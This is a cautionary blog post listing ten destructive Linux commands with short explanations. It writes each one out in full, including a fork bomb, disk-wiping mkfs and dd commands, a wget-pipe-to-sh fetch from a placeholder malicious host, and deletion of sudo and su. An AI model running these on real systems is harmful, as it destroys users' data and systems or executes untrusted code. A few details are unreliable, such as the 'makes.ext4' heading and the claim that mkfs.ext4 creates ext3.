The 10 Most Dangerous Linux Commands You Should Never Execute

Here I got up back with 10 Most Dangerous Linux Commands You Should Never Execute. So I personally warn you not to run these command’s 😛

  • How do you delete everything on Linux?
  • What does RM RF * do?
  • What is RM in Linux command?
  • What is fork bomb in Linux?

As you know LINUX based operating systems are too delicate and productive which sometimes can put you in some dangerous situation. So at some particular situation, you might get to execute some of the commands which are too dangerous. So to make you aware of those commands I got the top 10 most dangerous Linux commands which you should never execute.

10 Most Dangerous Linux Commands You Should Never Execute

rm -rf Command

The rm -rf command is used to delete folders in Linux os. But a little typing mistake can end upon recoverable system damage. here are some of the options used with the rm command.

makes.ext4 /dev/sda1

The mkfs.ext4 /dev/sda1 is really a disaster as it formats your entire hard drive and replaces it with the new ext3 file system. Once you execute the command then there is no going back, all your data is lost,which cannot be recovered.

:(){:|:&};: -Fork Bomb Command

The Fork Bomb Command:() means you are defining a function called :{:|: &} means run the function : and send its output to the : function again and run that in the background. The ; is a command separator, like &&.: runs the function the first time.

Essentially you are creating a function that calls itself twice every call and doesn’t have any way to terminate itself. It will keep doubling up until you run out of system resources.

mv ~ /dev/null -Moves Your Home Directory to Nothing (Black Hole)

moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a nothing. Essentially, mv ~ /dev/nullsends all your personal files into nothing.

wget http://malicious_source -O- | sh

This command succeeds in downloading a script from a malicious source and executing it, we command downloads the script and sh command executes the downloaded script. One should always download packages and scripts from a trusted source.


The ^foo^bar command is used to edit the previously run command without the need of retyping the whole command again. But this could cost you a lot if you have not verified the change in the original command using ^foo^bar command.

dd if=/dev/random of=/dev/sda

The dd if=/dev/random of=/dev/sda command removes all files/filesystems of a hard disk. It removes EVERYTHING off your hard disk. Be careful when to select a device. It does not prompt for and second check.

> file

The > file command is used to flush the content of a file. If the above command is executed with a typo or ignorance like > xt.conf will write the configuration file or any other system or configuration file.

command > /dev/sda

The command > /dev/sda command is much more simple; any command you execute (in the place of command) will write the output data to your first hard drive replacing all the files and folders. This in turn damages your entire file system.

rm -f /usr/bin/sudo;rm -f /bin/su

Therm -f /usr/bin/sudo;rm -f /bin/su command utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. These two allow you to run other commands with root permissions.

So these were 10 most dangerous Linux commands you should never execute. So what if you wanna run those commands. Don’t worry you can run these commands in any virtual machine and you won’t have any personal data loss.